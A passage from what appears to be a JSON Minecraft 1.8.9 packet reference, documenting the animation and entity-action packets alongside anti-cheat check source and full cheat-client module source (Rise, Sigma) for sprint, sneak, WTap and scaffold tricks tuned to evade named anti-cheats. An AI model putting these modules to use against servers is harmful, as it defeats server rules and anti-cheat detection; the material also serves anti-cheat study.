void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.ANIMATION) {\n            sentAnimation = true;\n        }\n\n        if (isTickPacket(event.getPacketType())) {\n            if (sentBreak && !sentAnimation) {\n                flag();\n            }\n\n            sentAnimation = sentBreak = false;\n        }\n    }\n}\n// NOTE (AI): NoSwingBreak correlates the ANIMATION packet with the digging packet: if a break was sent but no arm animation arrived before the next tick packet, the check flags. It listens to the animation packet directly as a PreViaPacketReceiveListener.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/breaking/NoSwingBreak.java",
       "variations": "NCP's NoSwing blockbreak check and BetterAnticheat's NoSwingDigCheck implement the same idea on Bukkit events and packet handlers respectively."
      },
      {
       "name": "ArmAnimationCheck base (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "The shared base class of Hydro's whole autoclicker family: it converts the animation stream into click samples and CPS for per-check handlers.",
       "how_it_works": "On each ANIMATION packet, if the action tracker is not digging, it records the movement gap into a click sample queue, applying filters for combat-only checks (last attack within a minute), double-click variants, and the zero-movement case. At the configured sample size it computes CPS via MathUtil and delegates to the abstract handle method, then clears the queue. Flying packets increment the movement counter.",
       "detects": "Feeds the AutoClickerA/B/C and double-click checks that flag constant CPS and double-click patterns from the sampled gaps.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/check/type/ArmAnimationCheck.java =====\npackage integral.studios.hydro.model.check.type;\n\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport integral.studios.hydro.model.check.violation.category.Category;\nimport integral.studios.hydro.model.check.violation.category.SubCategory;\nimport integral.studios.hydro.model.check.violation.handler.ViolationHandler;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.util.math.MathUtil;\nimport integral.studios.hydro.util.packet.PacketUtil;\n\nimport java.util.LinkedList;\nimport java.util.Queue;\n\npublic abstract class ArmAnimationCheck extends PacketCheck {\n    private final Queue<Integer> clickSamples = new LinkedList<>();\n\n    private static final int MAX_COMBAT_TICKS = 20 * 60; // 1 minute\n\n    private final boolean combatCheck, doubleClicks;\n\n    private final int maxClickSamples, maxMovements;\n\n    private int movements;\n\n    public ArmAnimationCheck(PlayerData playerData, String name, String desc, ViolationHandler violationHandler, boolean combatCheck, boolean doubleClicks, int maxSamples, int maxMovements) {\n        super(playerData, name, desc, violationHandler, Category.COMBAT, SubCategory.AUTO_CLICKER);\n\n        this.combatCheck = combatCheck;\n        this.doubleClicks = doubleClicks;\n\n        this.maxClickSamples = maxSamples;\n        this.maxMovements = maxMovements;\n    }\n\n    @Override\n    public void handle(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.ANIMATION && !actionTracker.isDigging()) {\n            if (movements < maxMovements) {\n                if (combatCheck && actionTracker.getLastAttack() > MAX_COMBAT_TICKS) {\n                    return;\n                }\n\n                if (!doubleClicks && movements == 0) {\n                    return;\n                }\n\n                if (clickSamples.add(movements) && clickSamples.size() == maxClickSamples) {\n                    double cps = MathUtil.getCPS(clickSamples);\n\n                    handle(clickSamples, cps);\n\n                    clickSamples.clear();\n                }\n            }\n\n            movements = 0;\n        } else if (PacketUtil.isFlying(event.getPacketType())) {\n            ++movements;\n        }\n    }\n\n    public abstract void handle(Queue<Integer> clickSamples, double cps);\n}\n// NOTE (AI): Hydro's ArmAnimationCheck is the base class of the whole autoclicker family: it collects movement-gap samples per ANIMATION packet, converts them to CPS, and delegates to per-check handlers (AutoClickerA, AutoClickerB, AutoClickerC and the double-click variants).\n",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/check/type/ArmAnimationCheck.java",
       "variations": "Intave's click-pattern checks (Deviation, Entropy, Kurtosis, Repetitive) and Artemis AutoClickerA-M run the same sampling with statistical distributions instead of fixed thresholds."
      },
      {
       "name": "AutoClickerA (FlopAC)",
       "found_in": [
        "JTXOfficial-FlopAC"
       ],
       "purpose": "CPS ceiling check: sustained clicking above 20 clicks per second is an autoclicker.",
       "how_it_works": "Counts movements between ARM_ANIMATION packets into a delay list when fewer than 10 movements separate them. At 30 samples it converts the delays to CPS via MathUtil and flags when CPS exceeds 20, then clears the list. The sample resets while the player is digging, holding a block or sword, or for the first 60 ticks after join, keeping the check on combat clicks.",
       "detects": "Autoclickers clicking above 20 CPS, including fast-click modules that fake the animation rate.",
       "detailed_code": "// ===== FILE: JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/checks/combat/autoclicker/AutoClickerA.java =====\npackage me.jtx.flopac.checks.combat.autoclicker;\n\nimport me.jtx.flopac.base.check.api.Check;\nimport me.jtx.flopac.base.check.api.CheckInformation;\nimport me.jtx.flopac.base.event.PacketEvent;\nimport me.jtx.flopac.base.user.User;\nimport me.jtx.flopac.tinyprotocol.api.Packet;\nimport me.jtx.flopac.tinyprotocol.packet.in.WrappedInBlockPlacePacket;\nimport me.jtx.flopac.util.MathUtil;\nimport org.bukkit.Material;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n@CheckInformation(checkName = \"AutoClicker\", lagBack = false, description = \"Checks if the player is clicking over 22 clicks per second.\")\npublic class AutoClickerA extends Check {\n\n    private int movements;\n    private List<Integer> delays = new ArrayList<>();\n    private int blockTicks;\n\n    @Override\n    public void onPacket(PacketEvent event) {\n        User user = event.getUser();\n\n        switch (event.getType()) {\n            case Packet.Client.FLYING:\n            case Packet.Client.LOOK:\n            case Packet.Client.POSITION_LOOK:\n            case Packet.Client.POSITION: {\n\n                if (user.shouldCancel()\n                        || user.getMovementProcessor().getLastBlockDigTimer().hasNotPassed(20)\n                        || blockTicks > 0\n                        || user.getTick() < 60) {\n                    movements = 0;\n                    delays.clear();\n                    return;\n                }\n\n                movements++;\n\n                break;\n            }\n\n            case Packet.Client.ARM_ANIMATION: {\n                if (movements < 10) {\n                    delays.add(movements);\n                    double cps = MathUtil.getCPS(delays);\n\n                    if (Double.valueOf(cps).isInfinite()) {\n                        delays.clear();\n                        return;\n                    }\n\n                    if (delays.size() > 30) {\n\n                        if (cps > 20) {\n                            flag(user, \"Clicking Fast\", \"CPS: \"+cps);\n                        }\n\n                        delays.clear();\n                    }\n\n                }\n                movements = 0;\n                break;\n            }\n\n            case Packet.Client.BLOCK_PLACE: {\n                WrappedInBlockPlacePacket blockP = new WrappedInBlockPlacePacket(event.getPacket(), user.getPlayer());\n\n                if (blockP.getItemStack().getType().isBlock()\n                        || blockP.getItemStack().getType() == Material.DIAMOND_SWORD\n                        || blockP.getItemStack().getType() == Material.GOLD_SWORD\n                        || blockP.getItemStack().getType() == Material.IRON_SWORD\n                        || blockP.getItemStack().getType() == Material.STONE_SWORD\n                        || blockP.getItemStack().getType() == Material.WOOD_SWORD) {\n                    blockTicks++;\n                } else {\n                    blockTicks = 0;\n                }\n\n                break;\n            }\n        }\n    }\n}\n// NOTE (AI): FlopAC AutoClickerA counts movements between ARM_ANIMATION packets and flags sustained CPS above 20, exempting players who are digging or holding a block/sword, which keeps the check on combat clicks.\n",
       "code_source": "JTXOfficial-FlopAC, src/main/java/me/jtx/flopac/checks/combat/autoclicker/AutoClickerA.java",
       "variations": "AutoClickerB through K in the same package add jitter, outlier and double-click checks; azure's AutoClickerA and LightAntiCheat's AutoClickerA use the same movement-gap template."
      }
     ]
    }
   },
   "wiki_notes": [
    "Zero payload in 1.8.9: read and write are no-ops, so the wire cost is just the 0x0A id.",
    "Server marks the player active, plays the swing and broadcasts S0B to trackers.",
    "Client fires once per swing cycle under the swing-in-progress guard; attack itself is a separate C02.",
    "MCP 1.8.9 C0APacketAnimation implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.handleAnimation; wire serde is readPacketData/writePacketData via .",
    "1.8.9 callers: EntityPlayerSP.swingItem sends new C0APacketAnimation (line 307): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C0APacketAnimation/",
   "mcp_path": "net/minecraft/network/play/client/C0APacketAnimation.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP"
   ]
  },
  {
   "id": "C0BPacketEntityAction",
   "hex": "0x0B",
   "dec": 11,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Entity Action",
   "desc": "Player performs an action: crouch, uncrouch, sprint, stop sprint, leave bed, jump with horse, open inventory.",
   "tags": [
    "player",
    "entity",
    "movement"
   ],
   "fields": [
    {
     "name": "entityID",
     "type": "VarInt",
     "desc": "Player entity ID (for horse actions, the horse ID)"
    },
    {
     "name": "action",
     "type": "Enum",
     "desc": "START_SNEAKING, STOP_SNEAKING, STOP_SLEEPING, START_SPRINTING, STOP_SPRINTING, RIDING_JUMP, OPEN_INVENTORY"
    },
    {
     "name": "auxData",
     "type": "VarInt",
     "desc": "For RIDING_JUMP: jump boost value (0-100)"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     "Player or horse entity"
    ],
    [
     "Action ID",
     "VarInt Enum",
     "0=crouch,1=uncrouch,2=leaveBed,3=sprint,4=stopSprint,5=jumpHorse,6=openInv"
    ],
    [
     "Jump Boost",
     "VarInt",
     "Horse jump power 0-100"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processEntityAction()"
   ],
   "handler": "INetHandlerPlayServer",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C0B carries an action enum (START_SNEAKING, STOP_SNEAKING, START_SPRINTING, STOP_SPRINTING, STOP_SLEEPING, RIDING_JUMP, OPEN_INVENTORY) plus an int aux value used only for RIDING_JUMP. The server's processEntityAction maps it directly onto the player entity state: setSneaking, setSprinting, wakeUpPlayer, horse jump. It is a pure state packet with no position, which makes it the perfect carrier for sprint/sneak manipulation that must not touch movement packets."
     },
     {
      "h": "Vanilla handling",
      "p": "processEntityAction switches on the action ordinal and mutates the player entity. STOP_SLEEPING also resets hasMoved = false so the next C03 position is accepted (this is why WakeUp/phase tricks use it). RIDING_JUMP sets horse jump power from the aux int. OPEN_INVENTORY opens the horse GUI. The client sends C0B from EntityPlayerSP on key presses; sprint is normally also mirrored inside C03PacketPlayer's sprinting flag, which is where anti-cheats cross-check."
     },
     {
      "h": "Why clients touch it",
      "p": "Sprint modules (Rise 5.99 Sprint) intercept and rewrite C0B to keep sprint always-on. Sneak modules (Rise 5.99 Sneak, Rise 6.2.4 NCPSneak) send START/STOP_SNEAKING on a timer to trick anti-cheat sneak checks. Scaffold (Rise 5.99, Tenacity, VulcanSprint mode) sneaks while placing on edges. WTap (Rise 5.99, Spicy) sends STOP_SPRINTING then START_SPRINTING around hits to reset the target's knockback velocity. Sigma KeepSprint cancels STOP_SPRINTING entirely so the player keeps sprint speed after attacking. November Recode 2.0 ships a WTap with a silent packet mode; LiquidSense Dev wraps teleport bursts in sneak toggles and cancels C0B in FreeCam."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is unvalidated beyond the enum, so clients can send START_SPRINTING while standing still or STOP_SNEAKING while never having sneaked. Anti-cheats therefore correlate C0B with C03's sprinting flag and with the movement deltas: sprint flag on but forward speed zero flags. WTap's stop-sprint-while-close is measured against hit timing. Sneak-spam (sending sneak every N ticks) is the classic NCP/Verus phase and safewalk enabler."
     }
    ],
    "overview": "The entity-state switchboard. Sprint modules rewrite it, sneak modules spam it, scaffold sneaks with it, WTap stutters it, and KeepSprint eats the STOP_SPRINTING. Every trick exploits the gap between the boolean state the server stores and the movement the client actually sends.",
    "server_handling": "processEntityAction mutates playerEntity state: setSneaking/setSprinting booleans, wakeUpPlayer (which clears hasMoved so the next position packet passes the movement check), horse jump power, horse GUI. No rate limiting; the aux int is ignored for all actions except RIDING_JUMP.",
    "protocol_notes": "Fields: VarInt entityId (client player), VarInt action ordinal, VarInt aux (0 for non-horse actions). Sent in PLAY state. Vanilla sends START_SPRINTING/STOP_SPRINTING from the sprint key handler and sneak actions from the sneak key; modules send it from motion/update events.",
    "anticheat_landscape": "NCP's sprint check compares C0B against C03's onGround/sprinting fields and movement speed. Verus detects sprint-stutter (WTap) by knockback timing. Sneak-abuse (sending sneak while moving fast) flags on Intave and newer NCP; Rise 6.2.4 NCPSneak and the scaffold sprint modes exist precisely to shape these patterns per AC.",
    "modules": [
     {
      "name": "Sprint",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Force sprint state server-side regardless of direction keys, and cancel sprint-stopping packets.",
      "how_it_works": "Rise 5.99 Sprint cancels C0B STOP_SPRINTING on the send event and re-sends START_SPRINTING when the player should sprint. The silent+multiDirection mode lets the player sprint in any direction, not just forward, by suppressing the vanilla sprint C0B and setting the entity sprint flag directly.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/movement/Sprint.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.movement;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.util.InstanceAccess;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport org.lwjgl.input.Keyboard;\n\n/**\n * Makes you automatically sprint without pressing the sprint key.\n */\n@ModuleInfo(name = \"Sprint\", description = \"Sprints for you\", category = Category.MOVEMENT)\npublic final class Sprint extends Module implements InstanceAccess {\n\n    private final BooleanSetting multiDir = new BooleanSetting(\"All Directions\", this, false);\n    private final BooleanSetting onlyInAir = new BooleanSetting(\"Only In Air\", this, false);\n    private final BooleanSetting silent = new BooleanSetting(\"Silent\", this, true);\n    private int onGroundTicks;\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        onlyInAir.hidden = silent.hidden = !multiDir.isEnabled();\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        if (mc.thePlayer.onGround) {\n            onGroundTicks += 1;\n        } else {\n            onGroundTicks = 0;\n        }\n\n        mc.gameSettings.keyBindSprint.setKeyPressed(true);\n\n        mc.thePlayer.allowMultiDirSprint = multiDir.isEnabled()\n                && !mc.thePlayer.isSneaking()\n                && MoveUtil.isMoving()\n                && !mc.thePlayer.isCollidedHorizontally\n                && (!onlyInAir.isEnabled() || onGroundTicks < 2);\n    }\n\n    @Override\n    public void onPreMotion(PreMotionEvent event) {\n\n    }\n\n    @Override\n    protected void onDisable() {\n        mc.gameSettings.keyBindSprint.setKeyPressed(Keyboard.isKeyDown(mc.gameSettings.keyBindSprint.getKeyCode()));\n        mc.thePlayer.allowMultiDirSprint = false;\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (multiDir.isEnabled() && silent.isEnabled() && !mc.gameSettings.keyBindForward.isKeyDown() && event.getPacket() instanceof C0BPacketEntityAction) {\n            C0BPacketEntityAction.Action action = ((C0BPacketEntityAction) event.getPacket()).getAction();\n\n            if (action.equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                event.setCancelled(true);\n            }\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 Sprint: complete file. Cancels C0B when multi-direction sprint is active (lines ~68-71) and manages the sprint flag so the server keeps the player sprinting without movement-direction checks.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/movement/Sprint.java",
      "vanilla_hook": "PacketSendEvent (cancel STOP_SPRINTING); PreMotionEvent for flag management.",
      "anti_cheat_notes": "Sprinting sideways without the forward key is the classic flag; NCP checks movement direction vs sprint state. The module is aimed at servers where the sprint check is weak or where the player holds W.",
      "variations": "Only Rise 5.99 ships a dedicated Sprint module in the corpus; other clients fold sprint control into Speed/Fly modules."
     },
     {
      "name": "Sneak",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Send START/STOP_SNEAKING on a timer to exploit sneak-based anti-cheat logic or to safely place/phase.",
      "how_it_works": "Rise 5.99 Sneak sends START_SNEAKING every N ticks and STOP_SNEAKING between, keeping the server-side sneak state toggling; the module has an auto mode that only sneaks when needed (e.g. near edges). Rise 6.2.4 NCPSneak sends a sneak cycle specifically tuned to NCP's sneak check to allow movement tricks without flagging.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/movement/Sneak.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.movement;\n\nimport dev.rise.event.impl.motion.PostMotionEvent;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport org.lwjgl.input.Keyboard;\n\n@ModuleInfo(name = \"Sneak\", description = \"Sneaks for you\", category = Category.MOVEMENT)\npublic final class Sneak extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Always\", \"Always\", \"Packet\", \"NCP\", \"Hold\");\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        if (mode.is(\"Packet\"))\n            PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        switch (mode.getMode()) {\n            case \"Always\":\n                mc.thePlayer.movementInput.sneak = mc.thePlayer.ticksExisted > 20;\n                break;\n\n            case \"Hold\":\n                mc.gameSettings.keyBindSneak.setKeyPressed(true);\n                break;\n\n            case \"NCP\":\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));\n                break;\n        }\n    }\n\n    @Override\n    public void onPostMotion(final PostMotionEvent event) {\n        switch (mode.getMode()) {\n            case \"NCP\":\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));\n                break;\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        if (mode.is(\"Packet\"))\n            PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));\n    }\n\n    @Override\n    protected void onDisable() {\n        switch (mode.getMode()) {\n            case \"Always\":\n                mc.thePlayer.movementInput.sneak = false;\n                break;\n\n            case \"NCP\":\n            case \"Packet\":\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));\n                break;\n\n            case \"Hold\":\n                mc.gameSettings.keyBindSneak.setKeyPressed(Keyboard.isKeyDown(mc.gameSettings.keyBindSneak.getKeyCode()));\n                break;\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 Sneak: complete file. Timer-driven START_SNEAKING/STOP_SNEAKING (lines ~27-71) with a manual/auto mode split.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/movement/Sneak.java",
      "vanilla_hook": "PreMotionEvent with a TimeUtil; PacketUtil.sendPacket.",
      "anti_cheat_notes": "Rapid sneak toggling is the classic NCP safewalk/phase enabler and is heavily flagged on modern ACs; NCPSneak in Rise 6.x shapes the toggle timing to the AC.",
      "variations": "Rise 6.2.4/6.1.30 NCPSneak.java implements the NCP-tuned cycle."
     },
     {
      "name": "WTap",
      "found_in": [
       "Rise 5.99",
       "Spicy",
       "November Recode 2.0"
      ],
      "purpose": "Reset the target's knockback by briefly stopping sprint right at the hit, then re-sprinting.",
      "how_it_works": "On the attack, if the target is in range and the player was sprinting, send STOP_SPRINTING then START_SPRINTING in the same tick (or on consecutive ticks). The server stops applying sprint-knockback multiplier to the target for that hit. Rise 5.99 WTap sends both packets back-to-back via sendPacketWithoutEvent; Spicy Wtap uses sendQueue.addToSendQueue.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/combat/WTap.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.combat;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\n\n@ModuleInfo(name = \"WTap\", description = \"Makes people take more knockback\", category = Category.COMBAT)\npublic final class WTap extends Module {\n\n    private final BooleanSetting legit = new BooleanSetting(\"Legit\", this, false);\n    public static int ticks;\n\n    @Override\n    public void onAttackEvent(final AttackEvent event) {\n        ticks = 0;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        ++ticks;\n\n        if (mc.thePlayer.isSprinting()) {\n            if (legit.isEnabled()) {\n                if (ticks == 2) mc.thePlayer.setSprinting(false);\n                if (ticks == 3) mc.thePlayer.setSprinting(true);\n            } else {\n                if (ticks < 10) {\n                    PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                    PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING));\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 WTap: complete file. Lines ~37-39 send STOP_SPRINTING + START_SPRINTING without events when the sprint-stutter window is active (< 10 ticks since last hit).\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/combat/WTap.java",
      "vanilla_hook": "AttackEvent or pre-motion check with a tick counter; PacketUtil.sendPacketWithoutEvent.",
      "anti_cheat_notes": "WTap is semi-legit: real players stutter sprint during combat. Verus and newer checks measure the stop-sprint duration; sending both packets in one tick is distinguishable from human input.",
      "variations": "Spicy Wtap.java sends the same pair via the raw send queue; Sigma Killaura also touches C0B in its attack routine. November Recode 2.0's WTapModule in SILENT mode sends STOP_SPRINTING then START_SPRINTING back-to-back on the C02 ATTACK, delay-gated and only while sprinting; LEGIT mode releases and re-presses the sprint key binding instead of packets."
     },
     {
      "name": "KeepSprint",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Cancel STOP_SPRINTING so the player keeps sprint speed after landing a hit.",
      "how_it_works": "Sigma KeepSprint hooks EventPacket on the receive/send path, and when a C0B with STOP_SPRINTING is seen it cancels the event, leaving the server-side sprint flag set. The result is that attacking no longer drops the player out of sprint.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/movement/KeepSprint.java =====\npackage info.sigmaclient.module.impl.movement;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\n\n/**\n * Created by Arithmo on 5/1/2017 at 4:51 PM.\n */\npublic class KeepSprint extends Module {\n\n    public KeepSprint(ModuleData data) {\n        super(data);\n    }\n\n    @RegisterEvent(events = EventPacket.class)\n    public void onEvent(Event event) {\n        EventPacket e = (EventPacket) event;\n        try {\n            if (e.isIncoming() && e.getPacket() instanceof C0BPacketEntityAction) {\n                C0BPacketEntityAction packet = (C0BPacketEntityAction) e.getPacket();\n                if (packet.getAction() == C0BPacketEntityAction.Action.STOP_SPRINTING) {\n                    e.setCancelled(true);\n                }\n            }\n        } catch (ClassCastException exception) {\n        }\n    }\n\n}\n\n// NOTE (AI): Sigma 4.11 KeepSprint: complete 33-line file. Cancels C0BPacketEntityAction when the action is STOP_SPRINTING (lines ~23-27).\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/movement/KeepSprint.java",
      "vanilla_hook": "EventPacket (isIncoming guard + packet type check).",
      "anti_cheat_notes": "Keeping sprint through a hit is exactly what legit 1.8 players do with the sprint key held, so this is low-risk; the flag appears only if the client also cancels the C03 sprinting-flag change.",
      "variations": "No other client ships a dedicated KeepSprint in the corpus; other clients fold it into Sprint/WTap behavior."
     },
     {
      "name": "Scaffold (sneak/sprint control)",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Send C0B sneaking while placing on block edges and control sprint state around placements.",
      "how_it_works": "Scaffold sneaks (START_SNEAKING) when the player is near an edge so the server slows the player and the placement lands, then stops sneaking mid-air. Rise 5.99 Scaffold toggles sneaking based on edge distance (lines ~414-421); Tenacity ScaffoldModule stops/starts sprinting around the placement (lines ~122-125); Rise 6.2.4 VulcanSprint is a scaffold sprint mode that sends START_SNEAKING on a tick cycle to fake the sneak while sprinting (lines ~28, 56).",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/scaffold/sprint/VulcanSprint.java =====\npackage com.alan.clients.module.impl.player.scaffold.sprint;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\n\npublic class VulcanSprint extends Mode<Scaffold> {\n    private final NumberValue speed = new NumberValue(\"Speed\", this, 1.3, 0.9, 1.3, 0.05);\n\n    private int time, block;\n\n    public VulcanSprint(String name, Scaffold parent) {\n        super(name, parent);\n    }\n\n    @Override\n    public void onDisable() {\n        if (time == 1) {\n            PacketUtil.send(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));\n        }\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        mc.thePlayer.setSprinting(false);\n\n        final double speed = this.speed.getValue().doubleValue();\n\n        if (!mc.gameSettings.keyBindJump.isKeyDown() && speed > 0.9) {\n            if (mc.thePlayer.onGroundTicks >= 2 && block <= 10) {\n                MoveUtil.strafe(MoveUtil.getAllowedHorizontalDistance() * speed);\n\n                mc.thePlayer.jump();\n                mc.thePlayer.motionY = 0.012500047683714;\n            }\n        }\n\n        if (mc.thePlayer.onGround) {\n            MoveUtil.strafe();\n        }\n\n        time++;\n        block++;\n\n        switch (time) {\n            case 1:\n                PacketUtil.send(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));\n                break;\n\n            case 10:\n                time = 0;\n                break;\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C08PacketPlayerBlockPlacement) {\n            final C08PacketPlayerBlockPlacement wrapper = (C08PacketPlayerBlockPlacement) p;\n\n            if (wrapper.getPlacedBlockDirection() != 255) {\n                block = 0;\n            }\n        }\n    };\n}\n\n// NOTE (AI): Rise 6.2.4 VulcanSprint: scaffold sprint mode, complete file. Sends START_SNEAKING on a timed cycle (line ~56) and STOP_SNEAKING on disable (line ~28) to shape scaffold movement for Vulcan.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/scaffold/sprint/VulcanSprint.java",
      "vanilla_hook": "Scaffold's own pre-motion loop; PacketUtil.send for C0B.",
      "anti_cheat_notes": "Sneak-while-sprinting is impossible legitimately, so ACs correlate the C0B stream with C03 speed; each scaffold sprint/tower mode exists to pick timings that the target AC does not check.",
      "variations": "Rise 6.2.4 also ships WatchdogJumpSprint; Rise 6.1.30 VulcanSprint; Tenacity ScaffoldModule toggles sprint around placements; Rise 5.99 and Sigma 4.11 Scaffold send sneak directly. LiquidSense Dev's Scaffold sends START/STOP_SNEAKING for eagle mode while placing and stops sneaking after the placement; its Teleport module uses the same sneak toggles around teleport bursts (see the Teleport entry)."
     },
     {
      "name": "Teleport (sneak cycle)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Teleport through walls: the Blink and Flag modes wrap the C04 burst with STOP_SNEAKING and START_SNEAKING so the sneak state the server recorded is never visibly dropped.",
      "how_it_works": "While sneaking, send STOP_SNEAKING, the C04 sequence to the target, then START_SNEAKING; Flag mode adds MovementUtils.forward(0.04) to nudge motion. The onPacket handler mutates or cancels C03 depending on mode.",
